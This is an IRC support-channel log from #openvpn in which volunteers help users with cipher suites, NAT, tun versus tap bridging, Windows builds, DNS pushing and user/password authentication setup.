07:34 < smue> BtbN: Conclusion is that it is well sort of hard coded in OpenVPN which ciphers are used?
07:38 < mapps> maybe i should start again with this
07:44 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has joined #openvpn
08:10 -!- atmosx [~bsd@gateway/tor-sasl/atmosx] has joined #openvpn
08:28 -!- bdpuk [~bdpuk@151.237.234.64] has joined #openvpn
08:35 < bdpuk> Hi, is anyone around?
08:46 <+pekster> smue: That's a TLSv1.2 cipher-suite, and as of 2.3.2 OpenVPN uses TLSv1.0. A patch on git-master fixes this and I have a preview download for Windows (where building from source is less-trivial than on *nix OSes)
08:46 <+pekster> !previews
08:46 <@vpnHelper> "previews" is Unofficial bleeding-edge feature previews for Windows can be found at this project page: http://sourceforge.net/projects/openvpnpreviews/
08:48 < bdpuk> I asked this question yesterday, but unfortunately had to d/c before anyone was around to answer, I'm just wondering if it is possible to concentrate with breaking multiple site to site vpns. The scenarios would be, multiple 1 to 1 client/server site to sites but the server is natted behind a single gateway that is intelligent enough to route the right client to the right server. Is this possible at all?
08:48 <+pekster> bdpuk: You can NAT the openvpn encapsulating traffic all you want; in fact, openvpn is one of the few VPN products that is so NAT-friendly since everything is sent over a single port
08:49 < bdpuk> so multiple 1to1s encapsulated within an overarching 1toexposed server?
08:51 <+pekster> I don't really get your use-case, but this nonsense about a "concentrator" is a misnomer; that implies that your devices is looking at the actual protocol for a decision. What you're describing is basic NAT at an IPv4 border.
08:51 <+pekster> Yes, OpenVPN traffic can be NAT'd in either direction so long as the 2 peers can communicate with each other
08:54 < bdpuk> yup, sorry was using concentrator as i've had experience with cisco vpn in the past, so this situation is multiple (say 5) clients connecting to 5 individual servers, both clients and servers are natted however, I can only expose 1 port on 1 IP but still want to maintain a 1 to 1 between server and client, so wanted to know if this was possible to do with openvpn, what i've almost settled on the idea of doing is vpn within vpn, so a tunnel to the internet e
08:54 < bdpuk> xposed port, and then all the individual vpns from each client to each individual server.
08:54 < bdpuk> I hope that makes some sort of sense
08:55 -!- michaelhart [~michaelha@162.209.1.130] has joined #openvpn
08:59 <+pekster> You can do NAT how you want, but how do you distinguish the clients? It's the class TLS vhosting problem because the server needs to present the cert before it can know what the client's cert is
08:59 <+pekster> s/class/classic/
09:00 -!- FuryFoo [~opera@server.mastermindnetworks.org] has joined #openvpn
09:01 -!- FuryFoo [~opera@server.mastermindnetworks.org] has left #openvpn []
09:01 -!- FuryFoo [~opera@server.mastermindnetworks.org] has joined #openvpn
09:02 < bdpuk> I think I'm going to end up having to nat each server to a different port to achieve my goal on this one, pity.
09:03 < FuryFoo> Hi , everyone !
09:03 < FuryFoo> Would it be possible to route the OpenVPN traffic trough multiple server in a manner similar to Tor ?
09:05 <+pekster> "similar to Tor" ? Not really; tor goes out of its way to provide annonymity, while any mututally-authenticating VPN (like OpenVPN) goes out of its way to verify the identity of the connecting user
09:06 <+pekster> Trying to do the same with openvpn would be like pounding in a nail with the handle of a screwdriver
09:07 -!- bdpuk [~bdpuk@151.237.234.64] has quit [Quit: Leaving]
09:12 < FuryFoo> All I want is to emulate the multiple node jump. Entrance node stays the same but the exit node or even a middle node can varry.
09:12 < FuryFoo> That's what I'm looking for.
09:13 < smue> pekster: Thank you for help. Is there a plan when TLSv1.2 will be implemented in OpenVPN main version?
09:13 <+pekster> Then use something designed to do that. No, there's no --pretend-openvpn-is-tor mode you can turn on
09:14 -!- Sidewinder [~de@unaffiliated/sidewinder] has joined #openvpn
09:14 <+pekster> smue: It's slated for the next release (there have simply been no formal releases since 2.3.2 yet)
09:14 <+pekster> Feel free to use my preview build as it's a stock 2.3.2 release with that one patch added in
09:15 < FuryFoo> Yea unfortunately there is no make your own Tor VPN hybrid kit out there
09:15 -!- UncleSniper [~cloud@141.18.9.88] has joined #openvpn
09:17 < smue> pekster: Thanks for info :)
09:17 < UncleSniper> should a 32 bit installer not work equally well on a 64 bit windows? seeing as it comes with both versions of the driver (if i see this correctly) and the binary can run in legacy mode anyway?
09:18 <+pekster> Right, and the performance difference is negligable
09:18 < UncleSniper> so if people say "it doesn't work on 64 bit", the problem is not the distribution, but their use of it?
09:19 <+pekster> Probably, although that's a very vauge question
09:19 < UncleSniper> i realize that, but it's all i've got
09:20 < UncleSniper> i was basically asked to build a custom distro and this is the reply i got: works in 32 bit, not on 64 bit
09:20 < UncleSniper> and i'm not actually in contact with the people that said that :P
09:21 < UncleSniper> ok, guess it's time to tell them "the problem must be on your side" ^^
09:21 <+pekster> Then you have a problem. Good bugreports allow developeres to reproduce them; bad ones don't and often get shelved for later
09:23 < UncleSniper> well, they'll just have to provide more info
09:23 <+pekster> 64-bit systems will need the 32-bit libs for that to work, but I assume you know that already
09:24 < UncleSniper> i jusmy build esentially is all 32 bit, except the tap-windows-*.exe, which i got from the site
09:24 < UncleSniper> so that should work
09:24 < UncleSniper> i just wanted to make sure, because i'd hate to create a complete 64 bit build for no reason
09:25 <+pekster> cross-compiling openvpn is exceedingly easy with the openvpn-build project
09:25 < UncleSniper> especially since NSIS doesn't seem to like it
09:25 < UncleSniper> openvpn, yes; NSIS, no
09:25 <+pekster> nsis works fine with it
09:25 <+pekster> I've _personally_ done cross-compile builds using the openvpn-build project, and if you follow the instructions it works wonderfully
09:26 < UncleSniper> as in, you built NSIS from scratch in an environment that's "not yours"?
09:26 < UncleSniper> because i spent a day building patches to get NSIS to compile cleanly
09:26 < UncleSniper> it has a large number of very obvious bugs
09:27 -!- Jaska__ [~Q@gprs-internet-bcee36-246.dhcp.inet.fi] has joined #openvpn
09:27 <+pekster> Use a build system that you control. Install a VM if you'd like (that's what I do dev on)
09:27 < UncleSniper> although some of them are mingw-w64-related
09:27 <+pekster> There's copy-and-pastable instructions if you're using the same version of ubuntu as the docs use
09:27 < UncleSniper> in the end, the people i do this for should be able to do it themselves
09:27 < UncleSniper> in particular, dropping in new versions of stuff and rerun the script
09:28 < UncleSniper> these are clueless people we're talking about, i don't think i can bother them to set up a VM :P
09:28 <+pekster> https://community.openvpn.net/openvpn/wiki/BuildingUsingGenericBuildsystem
09:28 <@vpnHelper> Title: BuildingUsingGenericBuildsystem – OpenVPN Community (at community.openvpn.net)
09:29 <+pekster> I will outright refuse to help you "develop a solution to cross compile openvpn for windows, targeted to clueless people"
09:29 <+pekster> Try elsewhere, because that sounds like an awful plan
09:29 -!- tempus_fol [~tempus@gateway/tor-sasl/tempusfol] has quit [Ping timeout: 240 seconds]
09:29 < UncleSniper> i know it is, that's kind of my problem ^^
09:29 <+pekster> That link I posted is the best way to do Windows builds, and it's what most (if not all) of the GPL devs here do
09:30 -!- Jaska_ [~Q@dsl-olubrasgw1-54fb5c-179.dhcp.inet.fi] has quit [Ping timeout: 268 seconds]
09:30 < UncleSniper> but anyway, my original question has long been answered; so thanks, i'll sort the trouble with the clueless people out myself
09:31 -!- FuryFoo [~opera@server.mastermindnetworks.org] has left #openvpn []
09:31 -!- clu5ter [~staff@unaffiliated/clu5ter] has quit [Ping timeout: 260 seconds]
09:32 -!- clu5ter [~staff@unaffiliated/clu5ter] has joined #openvpn
09:33 -!- tempus_fol [~tempus@gateway/tor-sasl/tempusfol] has joined #openvpn
09:35 < UncleSniper> kthxbai
09:35 -!- UncleSniper [~cloud@141.18.9.88] has quit [Quit: Client Exiting]
09:50 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
10:00 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
10:14 -!- Poster [~poster@cpe-173-88-41-216.columbus.res.rr.com] has quit [Ping timeout: 256 seconds]
10:20 -!- raidz_away is now known as raidz
10:25 -!- hadifarnoud [~hadifarno@192.237.185.77] has joined #openvpn
10:26 < hadifarnoud> Hi, how can I set more than one port on my config file? also, how can I use both TCP or UDP for different ports?
10:27 < Freeaqingme> hadifarnoud, by runinng multiple instances of openvpn. If they're the same protocol, you could also do so by using a firewall that changes some port numbers
10:27 -!- kossy_ is now known as kossy
10:27 < hadifarnoud> Freeaqingme: so each config just has one port/protocol?
10:29 < Freeaqingme> as far as I know, yes. Although it _may_ be possible to define multiple connection profiles, but I think these apply to clients only
10:30 < Freeaqingme> (that's a feature introduced in 2.2 or 2.3)
10:36 -!- JackWinter [~jack@vodsl-9510.vo.lu] has quit [Ping timeout: 240 seconds]
10:37 -!- Otacon22 [~otacon22@131.175.124.129] has joined #openvpn
10:44 -!- JackWinter [~jack@vodsl-9510.vo.lu] has joined #openvpn
10:58 -!- Jaska__ [~Q@gprs-internet-bcee36-246.dhcp.inet.fi] has quit [Read error: Connection reset by peer]
11:00 -!- dimitry7 [~antonello@38.124.174.31] has joined #openvpn
11:01 -!- Jaska_ [~Q@gprs-internet-bcee36-246.dhcp.inet.fi] has joined #openvpn
11:01 < dimitry7> Hello guys, Is it possible to create two VPNs from Company A to Company B, when Both have Different Public IP ag
11:01 < dimitry7> addresses??
11:02 -!- Otacon22 [~otacon22@131.175.124.129] has quit [Ping timeout: 264 seconds]
11:02 < dimitry7> Both VPNs will lead to the same subnet... is that possible??
11:02 -!- kro[au] [~thatguy@kgovps.com] has quit [Quit: ZNC - http://znc.sourceforge.net]
11:02 < Freeaqingme> it is if you use some bidirectional nat
11:02 < Freeaqingme> not that you should want that
11:02 < Freeaqingme> or set up a l2 network
11:03 < dimitry7> Freeaqingme, i don't know much of that :-S
11:03 < dimitry7> Freeaqingme, what if I setup a virtual interface in another IP segment?
11:03 -!- kro[au] [~thatguy@kgovps.com] has joined #openvpn
11:03 < dimitry7> and redirect VPN to it? I did it and it doesn't work but I don't know why
11:03 < Freeaqingme> that'd be probably easier
11:04 -!- Jaska_ [~Q@gprs-internet-bcee36-246.dhcp.inet.fi] has quit [Read error: Connection reset by peer]
11:04 < dimitry7> Freeaqingme, okay okay
11:05 < dimitry7> thanks!!
11:05 -!- Jaska_ [~Q@dsl-olubrasgw1-54fb5c-179.dhcp.inet.fi] has joined #openvpn
11:06 < mapps> hmm
11:06 < mapps> how do you add a new client? i must be going wrong
11:15 -!- afuentes [~afuentes@243.Red-83-60-110.dynamicIP.rima-tde.net] has quit [Ping timeout: 272 seconds]
11:21 -!- afuentes [~afuentes@243.Red-83-60-110.dynamicIP.rima-tde.net] has joined #openvpn
11:23 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
11:26 <@krzee> dimitry7, you trying to say you want failover between the offices over 2 vpns?
11:28 -!- Sidewinder [~de@unaffiliated/sidewinder] has quit [Quit: Leaving]
11:29 -!- hadifarnoud [~hadifarno@192.237.185.77] has quit [Remote host closed the connection]
11:30 < mapps> ARGH
11:30 < mapps> crap sticks
11:30 < mapps> still not working right:(
11:30 < mapps> i dont get what the hell im doing wrong at all now ive checked everything
11:33 < mapps> i can see packets from the phone -> 10.8.0.1 port 53 unreachable
11:34 -!- Poster [~poster@cpe-173-88-41-216.columbus.res.rr.com] has joined #openvpn
11:39 < alanjf> I can't find any info about this in the docs, but can one use an a cabundle.crt with openvpn (server) istead of a single one and instead geenrating it with easy-rsa?
11:40 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
11:43 < mapps> dug i fixed it woohoo
11:50 -!- s7r [~s7r@openvpn/user/s7r] has quit [Remote host closed the connection]
11:50 -!- tempus_fol [~tempus@gateway/tor-sasl/tempusfol] has quit [Remote host closed the connection]
11:51 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn
11:51 -!- mode/#openvpn [+v s7r] by ChanServ
11:51 -!- tempus_fol [~tempus@gateway/tor-sasl/tempusfol] has joined #openvpn
11:52 -!- jacob11 [~shiva@109.228.120.159] has joined #openvpn
11:53 < jacob11> hello guys I am trying to setup openvpn server but I am having trouble with setting up bridge interfaces. my server has one network interface which uses static public ip address. can I bridge this interface? i am using tap device with openvpn
11:55 < alanjf> And when I saw cabundle, I mean a regular bundle file which consists of mulriple crt files (multile ca certs in this case) cat'ed together one after the next.
11:55 < mapps> i think yes jacob11
11:56 -!- speed_racer84 [~speed_rac@50-79-143-149-static.hfc.comcastbusiness.net] has joined #openvpn
11:57 < alanjf> Has anyone ever used a ca bundle with openvpn?
11:57 < jacob11> mapps, I tried that and I tried setting br0 device addresses to public IP and then bridging it with eth0. I was able to connect but I was not able to redirect all trafic through vpn. I also was not able to ping server from client using private IPs, and I was able to ping client's ip from server. I guess that was due to bridging misconf
11:57 < mapps> not me i dont understand why youd need to
11:58 < mapps> the vpn was working tho? by default all traffic isnt routed through the vpn tho
11:58 < alanjf> no one has any insight?
11:59 < Freeaqingme> alanjf, have a little patience ;)
11:59 < mapps> people gave jobs and the like alanjf  if you hang around someone more knowledgable will undoubtedly try and answer
11:59 < mapps> yea
11:59 <+pekster> jacob11: Why on earth are you bridging to your uplink with a public IP like that? That's silly and won't do what you expect (unless you expect to assign another public IP from your allocated on-link addresses. Have you really been given multiple public IPs to use like this??!
12:00 <+pekster> jacob11: back up a second and try explaining your goal, not your screwed-up notion of bridging.
12:00 <+pekster> !goal
12:00 <@vpnHelper> "goal" is Please clearly state your goal for your vpn: example, I would like to access the lan behind the server , I would like to access the internet over my vpn , I just want a secure connection between 2 computers , etc
12:00 < jacob11> No I have only one public IP. Yeah I tried bridging but I removed that bridge as I am aware it isn't right approach. But I am googling and I am not able to find anything
12:01 <+pekster> You shouldn't be bridging in the first place
12:01 <+pekster> !tunortap
12:01 <@vpnHelper> "tunortap" is (#1) you ONLY want tap if you need to pass layer2 traffic over the vpn (traffic destined for a MAC address). If you are using IP traffic you want tun. Dont waste the extra overhead. or (#2) and if your reason for wanting tap is windows shares, see !wins or (#3) also remember that if someone gets access to any side of a tap vpn they can use layer2 attacks like arp poisoning against you
12:01 < jacob11> well pekster I want to route traffic through openvpn server. I have everything setup according to docs, using tap device. and I am stuck on creating bridge
12:01 <@vpnHelper> over the vpn or (#4) lan gaming? use tap! or (#5) Normal Android/iOS devices (not rooted/jailbroken) support only tun.
12:01 <+pekster> jacob11: Then you've already done things wrong
12:01 <+pekster> Don't bridge
12:01 <+pekster> Follow the:
12:01 <+pekster> !howto
12:01 <@vpnHelper> "howto" is (#1) OpenVPN comes with a great howto, http://openvpn.net/howto PLEASE READ IT! or (#2) http://www.secure-computing.net/openvpn/howto.php for a mirror
12:02 < jacob11> oh I see!
12:02 <+pekster> jacob11: _after_ you have a working _routed_ VPN setup and a can ping the server from your client on the VPN network you've created, see !redirect to redirect your traffic
12:02 <+pekster> tap is for a VPN that transports raw Ethernet frames that are non-IP data. Unless you need multicast or other non-IP-protocols, bridging is absolutely not what you should be doing
12:04 < jacob11> I see, I failed to understand that tap was for layer2 transport. thanks, will try this now
12:05 -!- kubbing [~kubbing@ip-94-113-128-81.net.upcbroadband.cz] has quit [Remote host closed the connection]
12:06 -!- kubbing [~kubbing@ip-94-113-128-81.net.upcbroadband.cz] has joined #openvpn
12:06 -!- jtran [~jtran@pool-71-243-221-193.lsanca.fios.verizon.net] has joined #openvpn
12:07 < alanjf> Freeaqingme: Sorry, wasn't meaning to be impatient, just didn't seem like my messages were being sent, as if +m was in effect.
12:08 -!- speed_racer84 [~speed_rac@50-79-143-149-static.hfc.comcastbusiness.net] has quit [Read error: Connection reset by peer]
12:08 -!- klein [~klein@187.85.186.168] has joined #openvpn
12:08 -!- klein [~klein@187.85.186.168] has quit [Changing host]
12:08 -!- klein [~klein@unaffiliated/klein] has joined #openvpn
12:09 -!- speed_racer84 [~speed_rac@50-79-143-149-static.hfc.comcastbusiness.net] has joined #openvpn
12:11 < Freeaqingme> alanjf, I've seen 'm all ;)
12:11 < Freeaqingme> just haen't used any ca bundle with openvpn (but someone must have! ;)). You could just try it?
12:11 -!- kubbing [~kubbing@ip-94-113-128-81.net.upcbroadband.cz] has quit [Ping timeout: 272 seconds]
12:12 < jacob11> do I use DH pem file with configuration with tun interface?
12:13 <+pekster> jacob11, TLS doesn't change when you use tun instead of tap
12:13 <+pekster> The !howto section on your PKI covers what the server and client needs in terms of the cert/key/DH files
12:13 < jacob11> yes but now I am getting No such file or directory when I try to load my server.conf. but all encryption files are in /etc/openvpn
12:15 <+pekster> Did you forget to use a full path or perhaps the proper --cd directory?
12:17 <+pekster> alanjf: You have a sub-CA chain or something?
12:19 < jacob11> yes I did. on my previous configuration it worked without absolute path
12:19 < jacob11> !redirect
12:19 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
12:19 <@vpnHelper> http://ircpimps.org/redirect.png | http://pekster.sdf.org/misc/redirect.png
12:21 -!- speed_racer84 [~speed_rac@50-79-143-149-static.hfc.comcastbusiness.net] has quit [Read error: Connection reset by peer]
12:22 <+pekster> jacob11: Without a qualified path the path will be taken relative to your CWD (which can be altered by way of --cd)
12:22 <+pekster> It's not something "openvpn changed" if it used to work before -- it'd be something _you_ changed
12:23 < jacob11> I guess you are right :)
12:24 -!- speed_racer84 [~speed_rac@50-79-143-149-static.hfc.comcastbusiness.net] has joined #openvpn
12:28 -!- speed_racer84 [~speed_rac@50-79-143-149-static.hfc.comcastbusiness.net] has quit [Read error: Connection reset by peer]
12:29 -!- speed_racer84 [~speed_rac@50-79-143-149-static.hfc.comcastbusiness.net] has joined #openvpn
12:34 -!- Jaska_ [~Q@dsl-olubrasgw1-54fb5c-179.dhcp.inet.fi] has quit [Ping timeout: 240 seconds]
12:37 -!- Goran__ [~shiva@genije.org] has joined #openvpn
12:39 -!- jacob11 [~shiva@109.228.120.159] has quit [Ping timeout: 272 seconds]
12:41 -!- speed_racer84 [~speed_rac@50-79-143-149-static.hfc.comcastbusiness.net] has quit [Quit: Leaving]
12:41 -!- pa [~pa@unaffiliated/pa] has quit [Ping timeout: 245 seconds]
12:42 -!- Goran__ [~shiva@genije.org] has quit [Ping timeout: 265 seconds]
12:42 -!- Jaska_ [~Q@dsl-olubrasgw1-54fb5c-179.dhcp.inet.fi] has joined #openvpn
12:51 < jtran> is there any issue w/ openvpn pushing more than 1 network route to the client?   whenever i push more than 1 route (relatively small /26 networks) such as 2 or 3, i get buffer full and memory issues
12:59 -!- g0ran [~shiva@109.228.120.159] has joined #openvpn
13:01 -!- liriel is now known as lirime
13:05 -!- g0ran [~shiva@109.228.120.159] has quit [Ping timeout: 240 seconds]
13:08 < Freeaqingme> jtran, what version of openvpn?
13:08 -!- lirime [~liriel@aphrodite.feralhosting.com] has quit [Quit: bye]
13:09 < jtran> Freeaqingme: 2.2.1
13:09 -!- liriel [~liriel@aphrodite.feralhosting.com] has joined #openvpn
13:09 < Freeaqingme> you could perhaps try to upgrade to the latest version first? (If it were a bug - which seems kinda likely with memory issues0
13:10 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
13:13 -!- dimitry7 [~antonello@38.124.174.31] has quit [Read error: Connection reset by peer]
13:26 < jtran> Freeaqingme:  i can try but i'm trying to stick to the most recent avail on ubuntu pkging
13:26 < Freeaqingme> Openvpn provides Ubuntu repositories as well
13:27 < jtran> kk will try to do that thx for the advice
13:27 < Freeaqingme> the documented servers didn't work for me, these are the urls I use: https://github.com/Freeaqingme/puppet-openvpn/blob/pr/manifests/repository.pp
13:27 <@vpnHelper> Title: puppet-openvpn/manifests/repository.pp at pr · Freeaqingme/puppet-openvpn · GitHub (at github.com)
13:44 -!- Otacon22 [~otacon22@93-36-89-25.ip59.fastwebnet.it] has joined #openvpn
13:44 < mapps> same errors as before..so i got my vpn working on the iphone but got the original problem I had before--when the phone locks ..the vpn gets stuck..it recieves an OS event;sleep then event pause then when the phones unlocked it gets os event wakeup..but it doesnt seem to be able to reconnect on its own?
13:45 -!- jtran [~jtran@pool-71-243-221-193.lsanca.fios.verizon.net] has left #openvpn []
13:50 -!- speed_racer84 [~speed_rac@50-79-143-149-static.hfc.comcastbusiness.net] has joined #openvpn
13:53 -!- bwallen [~brian@pool-108-44-169-124.clppva.fios.verizon.net] has quit [Remote host closed the connection]
13:56 -!- cconsta|work [~cconstant@50-0-241-181.dedicated.static.sonic.net] has joined #openvpn
13:56 -!- speed_racer84 [~speed_rac@50-79-143-149-static.hfc.comcastbusiness.net] has quit [Quit: Leaving]
13:57 < cconsta|work> Hey guys.  I have a working openvpn setup going, but I want to force connecting clients to only use the DNS servers provided by the vpn connection.  Is there wanyway to tell clients to forget any DNS servers they were previously using?
13:57 < Freeaqingme> yes, but clients can opt to ignore that
13:58 < cconsta|work> is it then 'push "dhcp-option DNS <IP>"' thing?
13:58 < cconsta|work> s/then/the
13:58 < Freeaqingme> think so
13:59 < cconsta|work> :/  Do you have any idea how to get ubuntu to not ignore that?
13:59 <+pekster> cconsta|work: see the Linux/Unix part of this info:
14:00 <+pekster> !pushdns
14:00 <@vpnHelper> "pushdns" is (#1) push "dhcp-option DNS a.b.c.d" to push dns to the client or (#2) http://thread.gmane.org/gmane.network.openvpn.user/25139/focus=25147 see that mail archive for some info on pushing dns or (#3) http://article.gmane.org/gmane.network.openvpn.user/25149 for a perm fix via regedit or (#4) in unix you'll use the update-resolv-conf script or (#5) also
14:00 <@vpnHelper> http://comments.gmane.org/gmane.network.openvpn.user/31975 reports --register-dns as fixing their problems pushing DNS to windows 7
14:00 < Freeaqingme> pekster knows everything ;)
14:00 <+pekster> And no, you can't "force" clients to do anything with it
14:00 < cconsta|work> reading.  thanks
14:02 < Freeaqingme> I know companies who use a custom version of openvpn, where they redirect the gateway, and actively check if it has been enforced
14:04 < cconsta|work> yeah, I'm using an internal dns and for some reason I get answers from google dns (what our LAN pushes as the dns server), and sometimes I get answers from our internal dns.
14:05 -!- mapito [~map@94-193-78-219.zone7.bethere.co.uk] has joined #openvpn
14:07 < mapito> if anyione has a second can they look at http://pastebin.com/aNee1LRH log off iphone showing when it seems to struggle to reconnect
14:07 <+pekster> The iPhone doesn't use GPL OpenVPN so you're unlikely to get much support for it here; the GPL hackers don't have any access to its source
14:08 < mapito> ok, thanks
14:11 -!- MeanderingCode [~Meanderin@192.241.150.232] has left #openvpn ["elsewhere."]
14:15 -!- deverw [~dever@109.201.152.243] has joined #openvpn
14:15 < deverw> hi
14:16 < deverw> How to setup a username and password? After I installed an openvpn server
14:18 <+pekster> deverw: For clarification one does not install an openvpn server, but you configure it. "Access Server" is _not_ OpenVPN (read the /TOPIC to clarify that point.)
14:18 <+pekster> To do user/pass auth, you need to use a --auth-user-pass-verify script on the server-side, or optionally use a plugin that supports it (like the included PAM plugin the sources and official releases ship with for Linux/Unix system)
14:20 < deverw> pekster: What do you recommend to use? What usually used most (for this purpose)?
14:21 < Freeaqingme> deverw, access server is the commercial counterpart of the openvpn project
14:21 <+pekster> Depends completely on your needs, the backend you're using, and the platform you're on
14:22 < Freeaqingme> so if you desire support, or any of access server's specific functionality you're better off using access server
14:22 -!- klein [~klein@unaffiliated/klein] has quit [Ping timeout: 240 seconds]
14:22 < deverw> pekster: Iam using a VPS with CPU 1 core
14:23 < deverw> I am unsure as to which OS I should use. But believe it will be Linux Debian or CentOS
14:23 <+pekster> And you're using what, the GPL OpenVPN, right? Not the Access Server product, right?
14:23 < deverw> Thinking most on Linux Debian 6
14:24 <+pekster> (this matters because AS has "its own way" to do authentication that is not only off-topic here, but won't relate to any of the GPL-auth methods in terms of configuration
14:24 < deverw> pekster: I do not right now. I want to set up an openvpn server where you can add users (and passwords) as a standard VPN provider usually use
14:24 <+pekster> Then you need to design an authentication framework that you hook into
14:25 <+pekster> _what_ is your backend? PAM? LDAP? plaintext files named for the user with the password in plaintext?
14:25 < deverw> pekster: I need no "automatic system". I want to go into the VPS to add users / password manually.
14:26 <+pekster> That's still not the point. You evidently have no clue how you want to manage the password system, which means you can't design the interface between openvpn and that system (becuase you haven't defined it)
14:26 < deverw> Which is safest? Which is better to use?
14:27 < deverw> sorry I am new at this
14:27 <+pekster> You either use a plugin (like the PAM plugin I referenced earlier and then you read the PAM docs to configure it to do what you want) or you write your own script or program that can do "whatever you want" to validate the user. Read --auth-user-pass-verify to see how openvpn lets you hook in like that
14:27 < Freeaqingme> deverw, have you ever set up openvpn?
14:27 < deverw> Freeaqingme: simple openvpn? yes ofc, both on windows and linux :)
14:27 < deverw> openvpn client*
14:28 < Freeaqingme> no server?
14:28 < deverw> but never openvpn _server_
14:28 < deverw> nop
14:28 <+pekster> There isn't an "openvpn server" -- any installation of openvpn can be configured as either a client or server
14:28 < Freeaqingme> hmz, I'd suggest doing that first, and then bother about the user authentication later
14:31 < deverw> Who can help me install an openvpn server with auth system (where you can add the username and password manually)? I give this person 5 free VPN account for 1 year.
14:31 < deverw> I will give 5 VPN accounts for 12 months*
14:31 <+pekster> !101
14:31 <@vpnHelper> "101" is This channel is not a '101' replacement for any of the following topics or others: Networking, Firewalls, Routing, Your OS, Security, etc etc
14:32 < Freeaqingme> deverw, you're setting up a commercial vpn service?
14:32 < Freeaqingme> in that case I'd definitely make sure you understand the technical details, or have someone you can rely on 24/7 for that
14:32 < deverw> Freeaqingme: No, only for personal use
14:36 -!- klein [~klein@unaffiliated/klein] has joined #openvpn
14:44 <+pekster> deverw: In case you didn't get the hints earlier, start with the !howto and set up a certificate-based VPN. If you _later_ want to learn how to do user/pass auth, the onus is on you to define your authentication backend and how you want to integrate with it. This is generally non-trivial as noted above
14:45 < Freeaqingme> deverw, as indicated, I'm not going to help any further via dm
14:45 <+pekster> Put another way, "don't ask for help building a home if you don't yet know how to use a hammer"
14:45 < Freeaqingme> * PM
14:47 <+pekster> You've been given a number of resources, further reading (like the !howto you can type here to get a direct-link.) If you want help, read them and ask a smart follow-up question. For details, read this: http://catb.org/~esr/faqs/smart-questions.html#lesser
14:47 <@vpnHelper> Title: How To Ask Questions The Smart Way (at catb.org)
14:53 < deverw> <deverw> so do I not need to wget http://www.perl.com/CPAN/authors/id/N/NI/NIKIP/Authen-PAM-0.16.tar.gz
14:53 < deverw> <@novaflash> no.
14:53 < deverw> novaflash told me that I dont need to wget any PAM
14:53 < deverw> he said
14:53 < deverw> <@novaflash> and log in at the admin ui
14:53 < deverw> <@novaflash> enable authentication mode local
14:53 < deverw> <@novaflash> set up your useres
14:53 < deverw> why do you say that I need to install and setup PAM?
14:54 < Freeaqingme> pekster, I'll rest my case. Good luck ;)
14:54 < deverw> please expalin I wanna know
14:54 < deverw> explain
14:54 <@novaflash> oh good lord
14:54 <@novaflash> what a troll
14:55 < deverw> sorry I am new here
14:55 < deverw> I wanna know how it works and we you say diffrent
14:55 < deverw> different
14:56 -!- Denial [Denial@90.216.209.93] has quit []
14:56 < Freeaqingme> deverw, drop the authentication stuff. Set up a working openvpn server first
14:56 <+pekster> deverw: Have you even read any of the material/links I posted, or do you just like to explain how you're "so new" and expect pity? Grovelling makes you look lazy: http://catb.org/~esr/faqs/smart-questions.html#idp5140624
14:56 <@vpnHelper> Title: How To Ask Questions The Smart Way (at catb.org)
14:57 <@novaflash> there's like 5 billion resources on the internet to explain this but i'll spend a few words on it; there's the open source version of openvpn for which there are many bright and helpful people here and tons of stuff on the internet to help you find out how to implement it - but it's technical. it is free and open source. the openvpn process can run as both a client or server depending on how...
14:57 <@novaflash> ...to configure it. the openvpn ACCESS SERVER is a commercial product based around the openvpn open soruce core and comes with management tools like a web based admin ui that makes it easy to set up and administrate. that's the other channel you were in and doesn't require you to manually install modules. anyways - good luck in your endeavours but please do read the resources carefully that...
14:57 <@novaflash> ...people point you to.
15:00 < deverw> http://geeksandtweaks.com/wp/how-to-create-a-vpn-server-on-ubuntu-12-04/
15:00 <@vpnHelper> Title: How to Create a VPN Server on Ubuntu 12.04 - GeeksAndTweaks (at geeksandtweaks.com)
15:00 < deverw> Is this a good tutorial?
15:01 <+pekster> We don't tend to even look at unofficial tutorials/guides/blogs becuase many of them are wrong, some don't work, and very vew are as good as the official resources
15:01 <@novaflash> deverw: try it and find out.
15:01 <+pekster> Some are valid though, so until you read through it you won't really know
15:01 <+pekster> It's best to use what you find in combination with your other resources you've been shown earlieri
15:01 < deverw> could you take a look?
15:02 < Freeaqingme> deverw, you've been given a dozen links or so. Why don't you read those first, set up your openvpn server, and then see if you have any _specific_ questions that cannot be solved by just googling the errors you're getting?
15:03 < deverw> Freeaqingme: can you give me a good tutorial to setup a openvpn server with ipv4 and not ipv6?
15:04 < Freeaqingme> they're hosted on the openvpn website
15:04 <+pekster> deverw: I've already referenced the official one twice. Here's what you've thus far managed to ignore:
15:04 <+pekster> !howto
15:04 < deverw> Because you gave me a link for only ipv6
15:04 <@vpnHelper> "howto" is (#1) OpenVPN comes with a great howto, http://openvpn.net/howto PLEASE READ IT! or (#2) http://www.secure-computing.net/openvpn/howto.php for a mirror
15:04 < Freeaqingme> deverw, one of the links I gave you was about ipv6, one of the others referred very clearly to how to set up openvpn in general
15:04 < Freeaqingme> but I guess you didn't read that one either ;)
15:05 < alanjf> Has anyone setup a openvpn server using a ca cert file containing multiple certs inside (aka a bundle) ? Will it check against each one against a connecting client?
15:05 < deverw> Freeaqingme: you send me http://freeaqingme.tweakblogs.net/blog/9237/openvpn-ipv6-with-ula-and-nat.html and http://www.wbitt.com/knowledge/how-to-tutorials/146-openvpn-alternate-method-of-authentication.html
15:05 <@vpnHelper> Title: OpenVPN, IPv6 with ULA and NAT - Everything's a draft - Tweakblogs - Tweakers (at freeaqingme.tweakblogs.net)
15:06 < deverw> Freeaqingme: no you didnt send me any for general
15:06 < Freeaqingme> okay, if you so...
15:06 < deverw> pekster: thanks
15:06 < deverw> Freeaqingme: so please tell me which is for general?
15:07 < deverw> Because I cant find it
